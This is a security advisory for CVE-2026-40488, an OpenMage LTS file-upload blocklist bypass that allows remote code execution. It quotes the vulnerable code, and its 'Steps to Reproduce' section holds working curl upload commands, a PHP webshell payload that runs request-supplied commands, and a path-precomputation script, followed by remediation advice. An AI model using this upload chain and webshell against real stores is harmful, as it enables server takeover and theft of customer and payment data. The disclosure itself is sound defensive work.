CVE-2026-40488: OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to version 20.17.0, the product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbiddenextensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/customoptions/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. Version 20.17.0 patches the issue.
Other sources
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
— Packagist
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbiddenextensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/customoptions/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
Affected Version
- Project: OpenMage/magento-lts - Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php - Vulnerable Lines: 230-237 (validateUploadedFile()) - Configuration: app/code/core/Mage/Catalog/etc/config.xml:824
Root Cause
The file upload handler uses ZendFileTransferAdapterHttp directly with ExcludeExtension validator, referencing only:
xml <!-- Catalog/etc/config.xml:824 --> <forbiddenextensions>php,exe</forbiddenextensions>
This misses the comprehensive protectedextensions blocklist defined elsewhere:
xml <!-- Core/etc/config.xml:449-478 --> php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml
Vulnerable Code
php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $allowed = $this->parseExtensionsString($option->getFileExtension()); if ($allowed !== null) { $upload->addValidator('Extension', false, $allowed); } else { $forbidden = $this->parseExtensionsString($this->getConfigData('forbiddenextensions')); if ($forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $forbidden); // Only blocks php,exe! } }
Steps to Reproduce
1. Environment Setup
Target: OpenMage LTS with Apache+modphp or Apache+PHP-FPM (with .phtml handler)
2. Exploitation
bash Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerableupload.php" \ -F "file=@shell.phtml;filename=shell.phtml"
Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:
Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:
filename = "shell.phtml" → s/ h/ → media/customoptions/quote/s/h/
Filename — md5(filegetcontents($tmpname)) is computed over the raw bytes of the uploaded payload (File.php:245):
php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(filegetcontents($fileInfo['tmpname'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension;
Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:
bash SHELLCONTENT='<?php echo exec("id"); system($GET["cmd"]??"id"); ?>\n' HASH=$(echo -n "$SHELLCONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
bash curl "https://target.com/media/customoptions/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
Result: RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />
Affected Deployments
| Configuration | Status | |---------------|--------| | Apache + modphp (with phpflag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |
Impact
1. Remote Code Execution: Full server compromise through webshell upload 2. Data Exfiltration: Access to database credentials, customer PII, payment data 3. Lateral Movement: Pivot to internal infrastructure 4. Supply Chain: Inject malicious code into served content
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/openmage/magento-ltsto a version that resolves this vulnerability.Fixed in 20.17.0 - Upgrade
Upgrade
OpenMage/magento-ltsto a version that resolves this vulnerability.Fixed in 20.17.0 - Compensating control
Deny server-side script execution in the publicly accessible media/custom_options/quote/ directory, including .phtml and other PHP-executable extensions.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40488?
CVE-2026-40488 is considered a critical security vulnerability due to the potential for remote code execution.
How do I fix CVE-2026-40488?
To fix CVE-2026-40488, you should update your OpenMage LTS installation to version 20.17.0 or later.
Who is affected by CVE-2026-40488?
CVE-2026-40488 affects users of OpenMage LTS versions prior to 20.17.0.
What type of vulnerability is CVE-2026-40488?
CVE-2026-40488 is a blocklist bypass vulnerability that can lead to remote code execution.
What does the blocklist bypass in CVE-2026-40488 allow?
The blocklist bypass in CVE-2026-40488 allows attackers to upload malicious files, potentially leading to arbitrary code execution.